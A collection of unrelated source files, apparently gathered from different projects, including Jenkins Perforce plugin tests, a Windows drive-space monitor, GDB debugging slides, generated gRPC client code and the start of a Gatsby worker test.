		Action actions = new ParametersAction(list);

		FreeStyleBuild build;
		UserIdCause cause = new Cause.UserIdCause();
		build = project.scheduleBuild2(0, cause, actions).get();
		assertEquals(Result.SUCCESS, build.getResult());

		List<String> log = build.getLog(LOG_LIMIT);
		assertTrue(log.contains("P4 Task: unshelve review: 19"));

		// Check web pages for changes
		HtmlPage page = jenkins.createWebClient().getPage(build);
		String text = page.asText();
		assertTrue(text.contains("19 by admin@admin.ws"));

		page = jenkins.createWebClient().getPage(build, "changes");
		text = page.asText();
		assertTrue(text.contains("Shelved Files:"));

		// Check browser
		Descriptor<RepositoryBrowser<?>> desc = browser.getDescriptor();
		assertNotNull(desc);

		SwarmBrowser.DescriptorImpl impl = (SwarmBrowser.DescriptorImpl) desc;
		FormValidation form = impl.doCheck(url.toString());
		assertEquals(FormValidation.Kind.OK, form.kind);
	}

	@Test
	public void testFreeStyleProject_ManualWs() throws Exception {

		P4PasswordImpl auth = new P4PasswordImpl(CredentialsScope.SYSTEM,
				credential, "desc", P4PORT, null, "jenkins", "0", "jenkins");
		SystemCredentialsProvider.getInstance().getCredentials().add(auth);
		SystemCredentialsProvider.getInstance().save();

		String client = "manual.ws";
		String stream = null;
		String line = "LOCAL";
		String view = "//depot/Data/... //" + client + "/...";
		WorkspaceSpec spec = new WorkspaceSpec(false, false, false, false,
				false, false, stream, line, view);

		FreeStyleProject project = jenkins
				.createFreeStyleProject("Manual-Head");
		ManualWorkspaceImpl workspace = new ManualWorkspaceImpl("none", false,
				client, spec);
		Populate populate = new AutoCleanImpl(true, true, false, false, null);
		PerforceScm scm = new PerforceScm(credential, workspace, populate);
		project.setScm(scm);
		project.save();

		FreeStyleBuild build;
		UserIdCause cause = new Cause.UserIdCause();
		build = project.scheduleBuild2(0, cause).get();
		assertEquals(Result.SUCCESS, build.getResult());

		WorkspaceDescriptor desc = workspace.getDescriptor();
		assertNotNull(desc);
		assertEquals("Manual (custom view)", desc.getDisplayName());

		Descriptor<WorkspaceSpec> descSpec = spec.getDescriptor();
		assertNotNull(descSpec);
		assertEquals("Perforce Client Spec", descSpec.getDisplayName());

		// Log in for next set of tests...
		ConnectionHelper p4 = new ConnectionHelper(auth);
		p4.login();

		WorkspaceSpec.DescriptorImpl implSpec = (WorkspaceSpec.DescriptorImpl) descSpec;
		AutoCompletionCandidates list = implSpec.doAutoCompleteStreamName("//");
		assertTrue(list.getValues().contains("//stream/main"));

		ListBoxModel lineItems = implSpec.doFillLineItems();
		assertFalse(lineItems.isEmpty());

		ManualWorkspaceImpl.DescriptorImpl impl = (ManualWorkspaceImpl.DescriptorImpl) desc;
		FormValidation form = impl.doCheckName("test.ws");
		assertEquals(FormValidation.Kind.OK, form.kind);

		list = impl.doAutoCompleteName("m");
		assertTrue(list.getValues().contains(client));

		JSONObject json = workspace.getSpecJSON("test.ws");
		assertEquals("//depot/... //test.ws/...\n", json.getString("view"));

		p4.disconnect();
		json = workspace.getSpecJSON("test.ws");
		assertEquals("please define view...", json.getString("view"));
	}

	@Test
	public void testFreeStyleProject_TemplateWs() throws Exception {

		P4PasswordImpl auth = new P4PasswordImpl(CredentialsScope.SYSTEM,
				credential, "desc", P4PORT, null, "jenkins", "0", "jenkins");
		SystemCredentialsProvider.getInstance().getCredentials().add(auth);
		SystemCredentialsProvider.getInstance().save();

		String client = "test.ws";
		String format = "jenkins-${node}-${project}.ws";

		FreeStyleProject project = jenkins
				.createFreeStyleProject("Template-Head");
		TemplateWorkspaceImpl workspace = new TemplateWorkspaceImpl("none",
				false, client, format);
		Populate populate = new AutoCleanImpl(true, true, false, false, null);
		PerforceScm scm = new PerforceScm(credential, workspace, populate);
		project.setScm(scm);
		project.save();

		FreeStyleBuild build;
		UserIdCause cause = new Cause.UserIdCause();
		build = project.scheduleBuild2(0, cause).get();
		assertEquals(Result.SUCCESS, build.getResult());

		WorkspaceDescriptor desc = workspace.getDescriptor();
		assertNotNull(desc);
		assertEquals("Template (view generated for each node)",
				desc.getDisplayName());

		// Log in for next set of tests...
		ConnectionHelper p4 = new ConnectionHelper(auth);
		p4.login();

		TemplateWorkspaceImpl.DescriptorImpl impl = (TemplateWorkspaceImpl.DescriptorImpl) desc;
		FormValidation form = impl.doCheckTemplateName("test.ws");
		assertEquals(FormValidation.Kind.OK, form.kind);

		AutoCompletionCandidates list = impl.doAutoCompleteTemplateName("t");
		assertTrue(list.getValues().contains("test.ws"));

		form = impl.doCheckFormat(format);
		assertEquals(FormValidation.Kind.OK, form.kind);
	}

	@Test
	public void testFreeStyleProject_StreamWs() throws Exception {

		P4PasswordImpl auth = new P4PasswordImpl(CredentialsScope.SYSTEM,
				credential, "desc", P4PORT, null, "jenkins", "0", "jenkins");
		SystemCredentialsProvider.getInstance().getCredentials().add(auth);
		SystemCredentialsProvider.getInstance().save();

		String stream = "//stream/main";
		String format = "jenkins-${node}-${project}.ws";

		FreeStyleProject project = jenkins
				.createFreeStyleProject("Stream-Head");
		StreamWorkspaceImpl workspace = new StreamWorkspaceImpl("none", false,
				stream, format);
		Populate populate = new AutoCleanImpl(true, true, false, false, null);
		PerforceScm scm = new PerforceScm(credential, workspace, populate);
		project.setScm(scm);
		project.save();

		FreeStyleBuild build;
		UserIdCause cause = new Cause.UserIdCause();
		build = project.scheduleBuild2(0, cause).get();
		assertEquals(Result.SUCCESS, build.getResult());

		WorkspaceDescriptor desc = workspace.getDescriptor();
		assertNotNull(desc);
		assertEquals("Streams (view generated by Perforce for each node)",
				desc.getDisplayName());

		// Log in for next set of tests...
		ConnectionHelper p4 = new ConnectionHelper(auth);
		p4.login();

		StreamWorkspaceImpl.DescriptorImpl impl = (StreamWorkspaceImpl.DescriptorImpl) desc;
		FormValidation form = impl.doCheckStreamName("//stream/main");
		assertEquals(FormValidation.Kind.OK, form.kind);

		AutoCompletionCandidates list = impl.doAutoCompleteStreamName("//");
		assertTrue(list.getValues().contains("//stream/main"));

		form = impl.doCheckFormat(format);
		assertEquals(FormValidation.Kind.OK, form.kind);
	}

	@Test
	public void testTPI83() throws Exception {
		P4PasswordImpl auth = new P4PasswordImpl(CredentialsScope.SYSTEM,
				credential, "desc", P4PORT, null, "jenkins", "0", "jenkins");
		SystemCredentialsProvider.getInstance().getCredentials().add(auth);
		SystemCredentialsProvider.getInstance().save();

		FreeStyleProject project = jenkins.createFreeStyleProject("TPI83");
		Workspace workspace = new StaticWorkspaceImpl("none", false, "test.ws");
		Populate populate = new AutoCleanImpl(true, true, false, false, null);
		PerforceScm scm = new PerforceScm(credential, workspace, populate);
		project.setScm(scm);
		project.save();

		FreeStyleBuild build;
		UserIdCause cause = new Cause.UserIdCause();
		build = project.scheduleBuild2(0, cause).get();
		assertEquals(Result.SUCCESS, build.getResult());

		String filename = "add_@%#$%^&().txt";

		String path = build.getWorkspace() + "/" + filename;
		File add = new File(path);
		add.createNewFile();

		build = project.scheduleBuild2(0, cause).get();
		assertEquals(Result.SUCCESS, build.getResult());
	}

	@Test
	public void testTPI95() throws Exception {
		P4PasswordImpl auth = new P4PasswordImpl(CredentialsScope.SYSTEM,
				credential, "desc", P4PORT, null, "jenkins", "0", "jenkins");
		SystemCredentialsProvider.getInstance().getCredentials().add(auth);
		SystemCredentialsProvider.getInstance().save();

		String client = "test.ws";
		String format = "jenkins-${node}-${project}.ws";

		FreeStyleProject project = jenkins
				.createFreeStyleProject("Template-Head");
		TemplateWorkspaceImpl workspace = new TemplateWorkspaceImpl("none",
				false, client, format);
		Populate populate = new AutoCleanImpl(true, true, false, false, null);
		PerforceScm scm = new PerforceScm(credential, workspace, populate);
		project.setScm(scm);
		project.save();

		List<ParameterValue> list = new ArrayList<ParameterValue>();
		list.add(new StringParameterValue(ReviewProp.STATUS.toString(),
				"shelved"));
		list.add(new StringParameterValue(ReviewProp.REVIEW.toString(), "19"));
		Action actions = new ParametersAction(list);

		FreeStyleBuild build;
		UserIdCause cause = new Cause.UserIdCause();
		build = project.scheduleBuild2(0, cause, actions).get();
		assertEquals(Result.SUCCESS, build.getResult());

		List<String> log = build.getLog(LOG_LIMIT);
		assertTrue(log.contains("P4 Task: unshelve review: 19"));

		// TPI-95 Second build with template ws
		build = project.scheduleBuild2(0, cause).get();
		assertEquals(Result.SUCCESS, build.getResult());
	}

	@Test
	public void testPolling_Pin() throws Exception {

		P4PasswordImpl auth = new P4PasswordImpl(CredentialsScope.SYSTEM,
				credential, "desc", P4PORT, null, "jenkins", "0", "jenkins");
		SystemCredentialsProvider.getInstance().getCredentials().add(auth);
		SystemCredentialsProvider.getInstance().save();

		String client = "manual.ws";
		String stream = null;
		String line = "LOCAL";
		String view = "//depot/... //" + client + "/...";
		WorkspaceSpec spec = new WorkspaceSpec(false, false, false, false,
				false, false, stream, line, view);

		FreeStyleProject project = jenkins
				.createFreeStyleProject("Manual-Head");
		ManualWorkspaceImpl workspace = new ManualWorkspaceImpl("none", false,
				client, spec);

		// Pin at label auto15
		Populate populate = new AutoCleanImpl(true, true, false, false,
				"auto15");
		PerforceScm scm = new PerforceScm(credential, workspace, populate);
		project.setScm(scm);
		project.save();

		// Build at change 3
		List<ParameterValue> list = new ArrayList<ParameterValue>();
		list.add(new StringParameterValue(ReviewProp.STATUS.toString(),
				"submitted"));
		list.add(new StringParameterValue(ReviewProp.CHANGE.toString(), "3"));
		Action actions = new ParametersAction(list);

		FreeStyleBuild build;
		UserIdCause cause = new Cause.UserIdCause();
		build = project.scheduleBuild2(0, cause, actions).get();
		assertEquals(Result.SUCCESS, build.getResult());

		// Poll for changes
		LogTaskListener listener = new LogTaskListener(logger, Level.INFO);
		project.poll(listener);
		List<Integer> buildList = scm.getChanges();
		assertEquals(12, buildList.size());
	}

	@Test
	public void testPolling_Inc() throws Exception {

		P4PasswordImpl auth = new P4PasswordImpl(CredentialsScope.SYSTEM,
				credential, "desc", P4PORT, null, "jenkins", "0", "jenkins");
		SystemCredentialsProvider.getInstance().getCredentials().add(auth);
		SystemCredentialsProvider.getInstance().save();

		String client = "manual.ws";
		String stream = null;
		String line = "LOCAL";
		String view = "//depot/... //" + client + "/...";
		WorkspaceSpec spec = new WorkspaceSpec(false, false, false, false,
				false, false, stream, line, view);

		FreeStyleProject project = jenkins
				.createFreeStyleProject("Manual-Head");
		ManualWorkspaceImpl workspace = new ManualWorkspaceImpl("none", false,
				client, spec);

		// Pin at label auto15
		Populate populate = new AutoCleanImpl(true, true, false, false,
				"auto15");
		List<Filter> filter = new ArrayList<Filter>();
		FilterPerChangeImpl inc = new FilterPerChangeImpl(true);
		filter.add(inc);
		PerforceScm scm = new PerforceScm(credential, workspace, filter,
				populate, null);
		project.setScm(scm);
		project.save();

		// Build at change 3
		List<ParameterValue> list = new ArrayList<ParameterValue>();
		list.add(new StringParameterValue(ReviewProp.STATUS.toString(),
				"submitted"));
		list.add(new StringParameterValue(ReviewProp.CHANGE.toString(), "3"));
		Action actions = new ParametersAction(list);

		FreeStyleBuild build;
		UserIdCause cause = new Cause.UserIdCause();
		build = project.scheduleBuild2(0, cause, actions).get();
		assertEquals(Result.SUCCESS, build.getResult());

		// Poll for changes incrementally
		LogTaskListener listener = new LogTaskListener(logger, Level.INFO);
		project.poll(listener);
		List<Integer> buildList = scm.getChanges();
		assertEquals(1, buildList.size());
		int change = buildList.get(0);
		assertEquals(4, change);
	}

	@Test
	public void testManual_Modtime() throws Exception {
		P4PasswordImpl auth = new P4PasswordImpl(CredentialsScope.SYSTEM,
				credential, "desc", P4PORT, null, "jenkins", "0", "jenkins");
		SystemCredentialsProvider.getInstance().getCredentials().add(auth);
		SystemCredentialsProvider.getInstance().save();

		String client = "modtime.ws";
		String stream = null;
		String line = "LOCAL";
		String view = "//depot/Data/... //" + client + "/...";
		WorkspaceSpec spec = new WorkspaceSpec(false, false, false, false,
				false, false, stream, line, view);

		FreeStyleProject project = jenkins
				.createFreeStyleProject("Manual_Modtime");
		ManualWorkspaceImpl workspace = new ManualWorkspaceImpl("none", false,
				client, spec);
		boolean isModtime = true;
		Populate populate = new AutoCleanImpl(true, true, isModtime, false,
				null);
		PerforceScm scm = new PerforceScm(credential, workspace, populate);
		project.setScm(scm);
		project.save();

		FreeStyleBuild build;
		UserIdCause cause = new Cause.UserIdCause();
		build = project.scheduleBuild2(0, cause).get();
		assertEquals(Result.SUCCESS, build.getResult());

		// Log in for next set of tests...
		ClientHelper p4 = new ClientHelper(auth, null, client);
		boolean mod = p4.getClient().getOptions().isModtime();
		assertEquals(true, mod);

		// Check file exists with the correct date
		String ws = build.getWorkspace().getRemote();
		File file = new File(ws + "/file-0.dat");
		assertEquals(true, file.exists());

		String ver = Metadata.getP4JVersionString();
		logger.info("P4Java Version: " + ver);

		long epoch = file.lastModified();
		assertEquals(1397049803000L, epoch);
	}

	private static void startHttpServer(int port) throws Exception {
		DummyServer server = new DummyServer(port);
		new Thread(server).start();
	}
}


text:
import {OnInit} from 'angular2/core';
import {Page} from 'ionic-angular';

@Page({
  templateUrl: 'build/pages/about/about.html'
})
export class AboutPage {
}


text:
//-----------------------------------------------------------------------
// <summary>Defines the ConnectingIdType enumeration.</summary>
//-----------------------------------------------------------------------

namespace Microsoft.Exchange.WebServices.Data
{
    using System;
    using System.Collections.Generic;
    using System.Text;

    /// <summary>
    /// Defines the type of Id of a ConnectingId object.
    /// </summary>
    public enum ConnectingIdType
    {
        /// <summary>
        /// The connecting Id is a principal name.
        /// </summary>
        PrincipalName,

        /// <summary>
        /// The Id is an SID.
        /// </summary>
        SID,

        /// <summary>
        /// The Id is an SMTP address.
        /// </summary>
        SmtpAddress
    }
}


text:
package io.github.avatarhurden.tribalwarsengine.tools.property_classes;

/**
 * Classe para ser passada pelo EditDialog como parâmetro para todas as Property.
 *
Elas utilizam o método run quando ocorre qualquer mudança em seus
 * valores.
 *
 * @author Arthur
 *
 */
public abstract class OnChange {

	public abstract void run();

}


text:
patat:
    # columns: 40
    incrementalLists: false
    wrap: true
    theme:
        bulletListMarkers: '*-'
        emph: [dullGreen, onVividBlack, bold]
        imageTarget: [onDullWhite, vividRed]
---

# Problems
- GDB -- *sole* tool
- Coredump -- no runtime
- MIPS -- no ???

# Coredump
## NO
- no breakpoints and step execution
- no controllable/fixed environment
- no dynamic code edits
- no in-place func calls
- no hacks and perversions, sad :(

# Coredump
## YES
- regs in _last_ frame
- all allocated memory regions
- no some sections from binary
- ? some kernel structs ?
- ? patched version of relocation table, etc ?

# GDB
- can't redirect output
- half-hearted batch scripting
- python disabled
- ? no access to AST

# MIPS
- many tools/exts anavailable
    * <valgrind> (double-free, who-point-at)
    * ~~radare2~~
- hard to identify stack frames

# Coredump
- registers baked on #0 only
    = investigate readelf -n ./core

# ASM feats
> * specifics
>     - kernel
>     - compiler
>     - language
> * patterns
>     - optimization
>     - security

# GDB
## Scripting
```bash
# -ex "layout regs" -ex "layout asm" -ex "b *0x4006b5"
gdb -q ./main.bin  -ex "b f" -ex "r" -ex 'x/16gx $rsp'
```
Auto-load local ./.gdbinit (default)
set auto-load local-gdbinit on (in global ~/.gdbinit if currently not enabled)

# ASM
## How to find frames
- hz

# ASM
## How to find frames
- hz

# Cases
Signals
: segfault
: abort
: deadlock

# MIPS
- read memory
```fasm
lw 0(sp)
```

# Hacks
## Logging

# TEMP: breaking
Legen

. . .

wait for it

. . .

Dary!

# Hacks
## Launch
```bash
    $ gdb -q
```
* what if chroot ? Use only for that command


text:
/**
 *
 */
package gov.va.med.imaging.monitor;

import java.io.BufferedInputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.LineNumberReader;
import java.util.*;
import java.util.logging.Logger;

/**
 * This class is definately NOT thread-safe.  It relies on a single thread doing the
 * collection of the drive statistics and the evaluation of the set limits.
 *
 * @author vhaiswbeckec
 *
 */
public abstract class DriveSpaceMonitor
extends TimerTask
{
	private Logger logger = Logger.getLogger(this.getClass().getName());
	private static DriveSpaceMonitor singleton;
	private static final long defaultPeriodicity = 60000L;

	public static synchronized DriveSpaceMonitor getSingleton()
	{
		if(singleton == null)
		{
			singleton = createOSSpecificMonitor();

			if(singleton != null && singleton instanceof TimerTask)
			{
				String timerThreadName = DriveSpaceMonitorProperties.getString("DriveSpaceMonitor.TimerThread");
				long periodicity = DriveSpaceMonitorProperties.getLong("DriveSpaceMonitor.Periodicity", defaultPeriodicity);

				new Timer(timerThreadName, true).schedule(singleton, new Date(), periodicity); //$NON-NLS-1$
			}
		}

		return singleton;
	}

	/**
	 *
	 */
	private static DriveSpaceMonitor createOSSpecificMonitor()
	{
		String osName = System.getProperty("os.name"); //$NON-NLS-1$
		if(osName == null)
			return null;
		// trim and lower case to make comparison easier
		osName = osName.trim().toLowerCase();

		if(osName.startsWith("windows")) //$NON-NLS-1$
			return new WindowsDiskSpaceMonitor();

		return null;
	}

	private DriveStatistics[] driveStatistics;

	@Override
	public void run()
	{
		logger.entering(this.getClass().getName(), "run");
		acquireDriveStatistics();
		evaluateListenerLimits();
		logger.exiting(this.getClass().getName(), "run");
	}

	/**
	 *
	 */
	private void acquireDriveStatistics()
	{
		logger.entering(this.getClass().getName(), "acquireDriverStatistics");
		try
		{
			char[] driveLetters = getDriveRoots();
			driveStatistics = new DriveStatistics[driveLetters == null ? 0 : driveLetters.length];

			for(int index=0; index < driveLetters.length; ++index)
				driveStatistics[index] = getDriveStatistics(driveLetters[index]);
		}
		catch (Exception x)
		{
			x.printStackTrace();
		}
		logger.exiting(this.getClass().getName(), "acquireDriverStatistics");
	}

	/**
	 *
	 */
	private Map<DriveLimit, DriveSpaceMonitorListener> listeners = new HashMap<DriveLimit, DriveSpaceMonitorListener>();

	public void addListener(DriveLimit limit, DriveSpaceMonitorListener listener)
	{
		synchronized(listeners)
		{
			listeners.put(limit, listener);
		}
	}

	/**
	 * Add a collection of drice limit notifications with a single listener
	 *
	 * @param requestedNotifications
	 * @param notifier
	 */
	public void addListener(Collection<DriveLimit> requestedNotifications, DriveSpaceMonitorListener listener)
	{
		synchronized(listeners)
		{
			for( DriveLimit driveLimit : requestedNotifications )
				addListener(driveLimit, listener);
		}
	}

	public void removeListener(DriveLimit limit)
	{
		synchronized(listeners)
		{
			listeners.remove(limit);
		}
	}

	private void evaluateListenerLimits()
	{
		synchronized(listeners)
		{
			if(listeners != null && listeners.size() > 0 && this.driveStatistics != null && this.driveStatistics.length > 0)
				for(DriveLimit limit : listeners.keySet() )
					for(DriveStatistics stats : this.driveStatistics)
						if( limit.isOutOfLimit(stats) )
							notifyListener(listeners.get(limit), limit, stats);
		}
	}

	/**
	 * Notify a listener that a Limit has been exceeded.
	 *
	 * @param listener
	 * @param limit
	 * @param stats
	 */
	private void notifyListener(DriveSpaceMonitorListener listener, DriveLimit limit, DriveStatistics stats)
	{
		listener.limitExceededNotification(limit, stats);
	}

	public abstract char[] getDriveRoots()
	throws Exception;

	public abstract DriveStatistics getDriveStatistics(char drive)
	throws Exception;

	public DriveStatistics getDriveStatistics()
	throws Exception
	{
		return getDriveStatistics(getDriveRoots()[0]);
	}

	public static class WindowsDiskSpaceMonitor
	extends DriveSpaceMonitor
	{
		static final String driveListingCommand = "fsutil fsinfo drives"; //$NON-NLS-1$
		static final String freeSpaceCommand = "fsutil fsinfo ntfsinfo ";		// concatenate drive letter and a colon //$NON-NLS-1$

		public char[] getDriveRoots()
		throws Exception
		{
			Process p = Runtime.getRuntime().exec(driveListingCommand);
			InputStream inStream = new BufferedInputStream( p.getInputStream() );
			LineNumberReader reader = new LineNumberReader(new InputStreamReader(inStream));
			for(String line = reader.readLine(); line != null; line = reader.readLine() )
			{
				line = line.trim().toUpperCase();
				if( line.startsWith("DRIVES:") ) //$NON-NLS-1$
				{
					for(int index=0; index < line.length(); ++index)
						System.out.print("0x00" + line.charAt(index) + "(" + Integer.toHexString((int)line.charAt(index)) + ")\t"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$
					System.out.println();

					String[] lineElements = line.split("[ \t \0x00]"); //$NON-NLS-1$
					char[] drives = new char[lineElements.length-1];
					for(int index=1; index < lineElements.length; ++index)
						drives[index-1] = lineElements[index].charAt(0);

					return drives;
				}
			}
			return null;
		}

		public DriveStatistics getDriveStatistics(char drive)
		throws Exception
		{
			long totalClusters = 0L;
			long freeClusters = 0L;
			long bytesPerCluster = 0L;

			Process p = Runtime.getRuntime().exec(freeSpaceCommand + drive + ":"); //$NON-NLS-1$
			InputStream inStream = new BufferedInputStream( p.getInputStream() );
			LineNumberReader reader = new LineNumberReader(new InputStreamReader(inStream));
			for(String line = reader.readLine(); line != null; line = reader.readLine() )
			{
				line = line.trim().toUpperCase();
				if(line.startsWith("TOTAL CLUSTERS")) //$NON-NLS-1$
				{
					String[] lineElements = line.split("[ \t]"); //$NON-NLS-1$
					String number = lineElements[lineElements.length-1];
					totalClusters = parseNumeric(number);
				}
				if(line.startsWith("FREE CLUSTERS")) //$NON-NLS-1$
				{
					String[] lineElements = line.split("[ \t]"); //$NON-NLS-1$
					String number = lineElements[lineElements.length-1];
					freeClusters = parseNumeric(number);
				}
				if(line.startsWith("BYTES PER CLUSTER")) //$NON-NLS-1$
				{
					String[] lineElements = line.split("[ \t]"); //$NON-NLS-1$
					String number = lineElements[lineElements.length-1];
					bytesPerCluster = parseNumeric(number);
				}
			}

			return new DriveStatistics(String.valueOf(drive), freeClusters * bytesPerCluster, totalClusters * bytesPerCluster);
		}

		/**
		 *
		 * @param numeric
		 * @return
		 */
		public long parseNumeric(String numeric)
		{
			long result;

			if(numeric.toLowerCase().startsWith("0x")) //$NON-NLS-1$
				result = Long.parseLong(numeric.substring(2), 16);
			else
				result = Long.parseLong(numeric);

			return result;
		}
	}

	public static void main(String[] argv)
	{
		DriveSpaceMonitor monitor = createOSSpecificMonitor();
		monitor.acquireDriveStatistics();
	}

}


text:
layout: default
---

CU Boulder Computer Science PhDs

This page is made by and for PhD candidates in CS at the University of
    Colorado, Boulder.

Resources

Google+ community

boulder-cs-phds.slack.com (sign up with your @colorado.edu address)

Google Calendar

    View navbar docs »


text:
<?php
// GENERATED CODE -- DO NOT EDIT!

// Original file comments:
// Copyright 2020 Google LLC
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//     http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
namespace Google\Cloud\Gaming\V1;

/**
 * A realm is a grouping of game server clusters that are considered
 * interchangeable.
 */
class RealmsServiceGrpcClient extends \Grpc\BaseStub {

    /**
     * @param string $hostname hostname
     * @param array $opts channel options
     * @param \Grpc\Channel $channel (optional) re-use channel object
     */
    public function __construct($hostname, $opts, $channel = null) {
        parent::__construct($hostname, $opts, $channel);
    }

    /**
     * Lists realms in a given project and location.
     * @param \Google\Cloud\Gaming\V1\ListRealmsRequest $argument input argument
     * @param array $metadata metadata
     * @param array $options call options
     * @return \Grpc\UnaryCall
     */
    public function ListRealms(\Google\Cloud\Gaming\V1\ListRealmsRequest $argument,
      $metadata = [], $options = []) {
        return $this->_simpleRequest('/google.cloud.gaming.v1.RealmsService/ListRealms',
        $argument,
        ['\Google\Cloud\Gaming\V1\ListRealmsResponse', 'decode'],
        $metadata, $options);
    }

    /**
     * Gets details of a single realm.
     * @param \Google\Cloud\Gaming\V1\GetRealmRequest $argument input argument
     * @param array $metadata metadata
     * @param array $options call options
     * @return \Grpc\UnaryCall
     */
    public function GetRealm(\Google\Cloud\Gaming\V1\GetRealmRequest $argument,
      $metadata = [], $options = []) {
        return $this->_simpleRequest('/google.cloud.gaming.v1.RealmsService/GetRealm',
        $argument,
        ['\Google\Cloud\Gaming\V1\Realm', 'decode'],
        $metadata, $options);
    }

    /**
     * Creates a new realm in a given project and location.
     * @param \Google\Cloud\Gaming\V1\CreateRealmRequest $argument input argument
     * @param array $metadata metadata
     * @param array $options call options
     * @return \Grpc\UnaryCall
     */
    public function CreateRealm(\Google\Cloud\Gaming\V1\CreateRealmRequest $argument,
      $metadata = [], $options = []) {
        return $this->_simpleRequest('/google.cloud.gaming.v1.RealmsService/CreateRealm',
        $argument,
        ['\Google\LongRunning\Operation', 'decode'],
        $metadata, $options);
    }

    /**
     * Deletes a single realm.
     * @param \Google\Cloud\Gaming\V1\DeleteRealmRequest $argument input argument
     * @param array $metadata metadata
     * @param array $options call options
     * @return \Grpc\UnaryCall
     */
    public function DeleteRealm(\Google\Cloud\Gaming\V1\DeleteRealmRequest $argument,
      $metadata = [], $options = []) {
        return $this->_simpleRequest('/google.cloud.gaming.v1.RealmsService/DeleteRealm',
        $argument,
        ['\Google\LongRunning\Operation', 'decode'],
        $metadata, $options);
    }

    /**
     * Patches a single realm.
     * @param \Google\Cloud\Gaming\V1\UpdateRealmRequest $argument input argument
     * @param array $metadata metadata
     * @param array $options call options
     * @return \Grpc\UnaryCall
     */
    public function UpdateRealm(\Google\Cloud\Gaming\V1\UpdateRealmRequest $argument,
      $metadata = [], $options = []) {
        return $this->_simpleRequest('/google.cloud.gaming.v1.RealmsService/UpdateRealm',
        $argument,
        ['\Google\LongRunning\Operation', 'decode'],
        $metadata, $options);
    }

    /**
     * Previews patches to a single realm.
     * @param \Google\Cloud\Gaming\V1\PreviewRealmUpdateRequest $argument input argument
     * @param array $metadata metadata
     * @param array $options call options
     * @return \Grpc\UnaryCall
     */
    public function PreviewRealmUpdate(\Google\Cloud\Gaming\V1\PreviewRealmUpdateRequest $argument,
      $metadata = [], $options = []) {
        return $this->_simpleRequest('/google.cloud.gaming.v1.RealmsService/PreviewRealmUpdate',
        $argument,
        ['\Google\Cloud\Gaming\V1\PreviewRealmUpdateResponse', 'decode'],
        $metadata, $options);
    }

}


text:
#region License
//  Copyright(c) Workshell Ltd
//
//  Permission is hereby granted, free of charge, to any person obtaining a copy
//  of this software and associated documentation files (the "Software"), to deal
//  in the Software without restriction, including without limitation the rights
//  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
//  copies of the Software, and to permit persons to whom the Software is
//  furnished to do so, subject to the following conditions:
//
//  The above copyright notice and this permission notice shall be included in all
//  copies or substantial portions of the Software.
//
//  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
//  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
//  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
//  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
//  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
//  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
//  SOFTWARE.
#endregion

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Workshell.PE.Annotations;
using Workshell.PE.Extensions;

namespace Workshell.PE.Content.Exceptions
{
    public sealed class ExceptionChainedUnwindInfo
    {
        internal ExceptionChainedUnwindInfo(uint startAddress, uint endAddress, uint infoAddress)
        {
            StartAddress = startAddress;
            EndAddress = endAddress;
            UnwindInfoAddress = infoAddress;
        }

        #region Properties

        [FieldAnnotation("Start Address", Order = 1)]
        public uint StartAddress { get; }

        [FieldAnnotation("End Address", Order = 2)]
        public uint EndAddress { get; }

        [FieldAnnotation("Unwind Info Address", Order = 3)]
        public uint UnwindInfoAddress { get; }

        #endregion
    }
}


text:
import * as path from "path"
import fs from "fs-extra"
import type { watch as ChokidarWatchType } from "chokidar"
import { DocumentNode } from "graphql"
import { CombinedState } from "redux"
import { build } from "../../../schema"
import sourceNodesAndRemoveStaleNodes from "../../source-nodes"
import { savePartialStateToDisk, store } from "../../../redux"
import { loadConfig } from "../../../bootstrap/load-config"
import { loadPlugins } from "../../../bootstrap/load-plugins"
import { createTestWorker, GatsbyTestWorkerPool } from "./test-helpers"
import { getDataStore } from "../../../datastore"
import { IGatsbyState } from "../../../redux/types"
import { compileGatsbyFiles } from "../../parcel/compile-gatsby-files"

let worker: GatsbyTestWorkerPool | undefined

// when we load config and run sourceNodes on "main process" we start file watchers
// because of default `gatsby-plugin-page-creator` which would prevent test process from
// exiting gracefully without forcing exit
// to prevent that we keep track of created watchers and close them after all tests are done
const mockWatchersToClose = new Set<ReturnType<typeof ChokidarWatchType>>()
jest.mock(`chokidar`, () => {
  const chokidar = jest.requireActual(`chokidar`)
  const originalChokidarWatch = chokidar.watch

  chokidar.watch = (
    ...args: Parameters<typeof ChokidarWatchType>
  ): ReturnType<typeof ChokidarWatchType> => {
    const watcher = originalChokidarWatch.call(chokidar, ...args)
    mockWatchersToClose.add(watcher)
    return watcher
  }

  return chokidar
})

jest.mock(`gatsby-telemetry`, () => {
  return {
    decorateEvent: jest.fn(),
    trackError: jest.fn(),
    trackCli: jest.fn(),
    isTrackingEnabled: jest.fn(),
  }
})

describe(`worker (schema)`, () => {
  let stateFromWorker: CombinedState<IGatsbyState>

  beforeAll(async () => {
    store.dispatch({ type: `DELETE_CACHE` })
    const fileDir = path.join(process.cwd(), `.cache/worker`)
    await fs.emptyDir(fileDir)

    worker = createTestWorker()

    const siteDirectory = path.join(__dirname, `fixtures`, `sample-site`)
    await compileGatsbyFiles(siteDirectory)
    const config = await loadConfig({
      siteDirectory,
    })
    await loadPlugins(config, siteDirectory)
    await Promise.all(worker.all.loadConfigAndPlugins({ siteDirectory }))
    await sourceNodesAndRemoveStaleNodes({ webhookBody: {} })
    await getDataStore().ready()

    await build({ parentSpan: {} })
    savePartialStateToDisk([`inferenceMetadata`])
